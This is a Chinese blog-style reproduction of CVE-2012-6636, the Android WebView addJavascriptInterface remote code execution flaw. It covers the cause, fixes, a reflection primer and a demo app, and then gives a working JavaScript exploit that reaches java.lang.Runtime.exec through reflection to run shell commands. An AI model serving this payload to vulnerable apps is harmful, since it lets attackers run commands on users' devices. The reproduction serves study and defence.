-
-
[原创]CVE-2012-6636复现---Webview远程代码执行漏洞
-
2021-11-28 16:16 11714
-
参考几位大佬:
https://www.cnblogs.com/YenKoc/p/13589979.html
https://blog.csdn.net/u012195899/article/details/68942725
https://cloud.tencent.com/developer/article/1743487
WebView 远程代码执行漏洞位置:
WebView.addJavascriptInterface(Object obj, String interfaceName)
WebView 远程代码执行漏洞触发前提条件:
使用addJavascriptInterface方法注册可供JavaScript调用的Java对象;
使用WebView加载外部网页或者本地网页,且该网页中有恶意的js代码;
Android系统版本低于4.2;
WebView 远程代码执行漏洞原理:
Android系统通过WebView.addJavascriptInterface方法注册可供JavaScript调用的Java对象,以用于增强JavaScript的功能。但是系统并没有对注册Java类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何Java类,最终导致JavaScript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。
修复建议
API Level 依赖的API Level为17或者以上,就不会受到该问题的影响
对于API Level 等于或低于17的Android系统:
建议不要使用addJavascriptInterface接口;
如果一定要用addJavascriptInterface:
如果使用HTTPS协议加载URL,应进行证书校验防止访问的页面被篡改挂马;
如果使用HTTP协议加载URL,应进行白名单过滤、完整性校验等防止访问的页面被篡改;
如果加载本地Html,应将html文件内置在APK中,以及进行对html页面完整性校验。
基础补充---java反射
参考:https://blog.csdn.net/tongdanping/article/details/103252352
为什么需要反射?(反射的作用/应用场景)
反射的作用可以用一句话概括:反射赋予了jvm动态编译的能力。动态编译可以最大限度的体现Java的灵活性(多态)。
否则类的元信息只能通过静态编译的形式实现(在编译期确定类型,绑定对象),而不能实现动态编译(在运行期确定类型,绑定对象)。也就是说在编译以后,程序在运行时的行为就是固定的了,如果要在运行时改变程序的行为,就需要动态编译,在Java中就需要反射机制。
情景一:不得已而为之
有的类是我们在编写程序的时候无法使用new一个对象来实例化对象的。例如:调用的是来自网络的二进制.class文件,而没有其.java代码;
情景二:动态加载(可以最大限度的体现Java的灵活性,并降低类的耦合性:多态)
有的类可以在用到时再动态加载到jvm中,这样可以减少jvm的启动时间,同时更重要的是可以动态的加载需要的对象(多态)。
情景三:避免将程序写死到代码里
因为java代码是先通过编译器将.java文件编译成.class的二进制字节码文件,因此如果我们使用new Person()来实例化对象person会出现的问题就是如果我们希望更换person的实例对象,就要在源代码种更改然后重新编译再运行,但是如果我们将person的实例对象类名等信息编写在配置文件中,利用反射的Class.forName(className)方法来实例化java对象(因为实例化java对象都是根据全限定名查找到jvm内存中的class对象,并根据class对象中的累信息实例化得到java对象,因此xml文件中只要包含了权限定类名就可以通过反射实例化java对象),那么我们就可以更改配置文件,无需重新编译。例如:
基础知识---学习addJavascriptInterface的使用
这个函数作用是:将java的一个对象映射成javascript的一个对象。这样js代码就可以直接调用java对象。
步骤1:首先再定义一个与JS对象映射关系的Android类:AndroidtoJs
在main_activity.java同目录下定义一个AndroidtoJS.java如下:
1 2 3 4 5 6 7 8 9 10 11 12 | package com.example.testaddjs; import android.webkit.JavascriptInterface; public class AndroidtoJs extends Object { / / 定义JS需要调用的方法 / / 被JS调用的方法必须加入@JavascriptInterface注解 @JavascriptInterface public void hello(String msg) { System.out.println(msg); } } |
步骤2:将需要调用的JS代码以.html格式放到src/main/assets文件夹里
如图:创建一个assets文件夹
需要加载JS代码:javascript.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | <!DOCTYPE html> <html> <head> <meta charset = "utf-8" > <title>Carson< / title> <script> function callAndroid(){ / / 由于对象映射,所以调用test对象等于调用Android映射的对象 test.hello( "js调用了android中的hello方法" ); } < / script> < / head> <body> / / 点击按钮则调用callAndroid函数 <button type = "button" id = "button1" onclick = "callAndroid()" >< / button> < / body> < / html> |
步骤3:在Android里通过WebView设置Android类与JS代码的映射
通过addJavascriptInterface,把Android的对象映射成js的对象,这样js代码可以直接调用该android对象中的函数。
mainactivity.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | package com.example.testaddjs; import androidx.appcompat.app.AlertDialog; import androidx.appcompat.app.AppCompatActivity; import android.content.DialogInterface; import android.os.Bundle; import android.view.View; import android.webkit.JsResult; import android.webkit.WebChromeClient; import android.webkit.WebSettings; import android.webkit.WebView; import android.widget.Button; public class MainActivity extends AppCompatActivity { WebView mWebView; @Override protected void onCreate(Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main); mWebView = (WebView) findViewById(R. id .webview); WebSettings webSettings = mWebView.getSettings(); / / 设置与Js交互的权限 webSettings.setJavaScriptEnabled(true); / / 通过addJavascriptInterface()将Java对象映射到JS对象 / / 参数 1 :Javascript对象名 / / 参数 2 :Java对象名 mWebView.addJavascriptInterface(new AndroidtoJs(), "test" ); / / AndroidtoJS类对象映射到js的test对象 / / 加载JS代码 / / 格式规定为: file : / / / android_asset / 文件名.html mWebView.loadUrl( "file:///android_asset/javascript.html" ); } } |
另外
activity_main.xml代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <?xml version = "1.0" encoding = "utf-8" ?> <LinearLayout xmlns:android = "http://schemas.android.com/apk/res/android" android:orientation = "vertical" android:layout_width = "match_parent" android:layout_height = "match_parent" > <WebView android:layout_width = "match_parent" android:layout_height = "match_parent" android: id = "@+id/webview" > < / WebView> < / LinearLayout> |
执行如下:
漏洞复现
类似上面的过程。
步骤1:首先再定义一个与JS对象映射关系的Android类:AndroidtoJs
在main_activity.java同目录下定义一个AndroidtoJS.java如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | package com.example.testaddjs; import android.webkit.JavascriptInterface; public class AndroidtoJs extends Object { / / 定义JS需要调用的方法 / / 被JS调用的方法必须加入@JavascriptInterface注解 @JavascriptInterface public void hello(String msg) { / / 随便定义一个java函数,后面不会用到 System.out.println(msg); } } |
步骤2:将需要调用的JS代码以.html格式放到src/main/assets文件夹里
如图:javascript.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | <!DOCTYPE html> <html> <head> <script type = "text/javascript" > var i = 0 ; function getContents(inputStream) { var contents = "" + i; var b = inputStream.read(); var i = 1 ; while (b ! = - 1 ) { var bString = String.fromCharCode(b); contents + = bString; contents + = "\n" b = inputStream.read(); } i = i + 1 ; return contents; } function execute(cmdArgs) { for (var obj in window) { / / window是全局的计算环境,所有的对象都在里面 console.log(obj); if ( "getClass" in window[obj]) { / / 如果这个对象有getclass方法,则该对象就是我们下面步骤 3 中通过addJavascriptInterface传进js代码里的java对象。 alert(obj); return window[obj].getClass().forName( "java.lang.Runtime" ).getMethod( "getRuntime" ,null).invoke(null,null). exec (cmdArgs); } } } var res = execute([ "/system/bin/sh" , "-c" , "ls -al /sdcard" ]); document.write(getContents(res.getInputStream())); < / script> < / head> <body> < / body> < / html> |
步骤3:在Android里通过WebView设置Android类与JS代码的映射
通过addJavascriptInterface,把Android的对象映射成js的对象,这样js代码可以直接调用该android对象中的函数。
mainactivity.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | package com.example.testaddjs; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.webkit.WebSettings; import android.webkit.WebView; public class MainActivity extends AppCompatActivity { WebView mWebView; @Override protected void onCreate(Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main); mWebView = (WebView) findViewById(R. id .webview); WebSettings webSettings = mWebView.getSettings(); / / 设置与Js交互的权限 webSettings.setJavaScriptEnabled(true); / / 通过addJavascriptInterface()将Java对象映射到JS对象 / / 参数 1 :Javascript对象名 / / 参数 2 :Java对象名 mWebView.addJavascriptInterface(new AndroidtoJs(), "injectObject" ); mWebView.loadUrl( "file:///android_asset/javascript.html" ); } } |
另外
activity_main.xml代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <?xml version = "1.0" encoding = "utf-8" ?> <LinearLayout xmlns:android = "http://schemas.android.com/apk/res/android" android:orientation = "vertical" android:layout_width = "match_parent" android:layout_height = "match_parent" > <WebView android:layout_width = "match_parent" android:layout_height = "match_parent" android: id = "@+id/webview" > < / WebView> < / LinearLayout> |
复现截图
如图所示,我们的html里面有恶意的js代码,执行了ls -al /sdcard命令,该命令的结果显示在APP了页面上(与在命令行中实际的执行结果相同)。
综上,如果我们使用了addJavascriptInterface这个危险接口,则当我们引入的webview网页中有恶意的js代码时,则可以实现任意命令执行。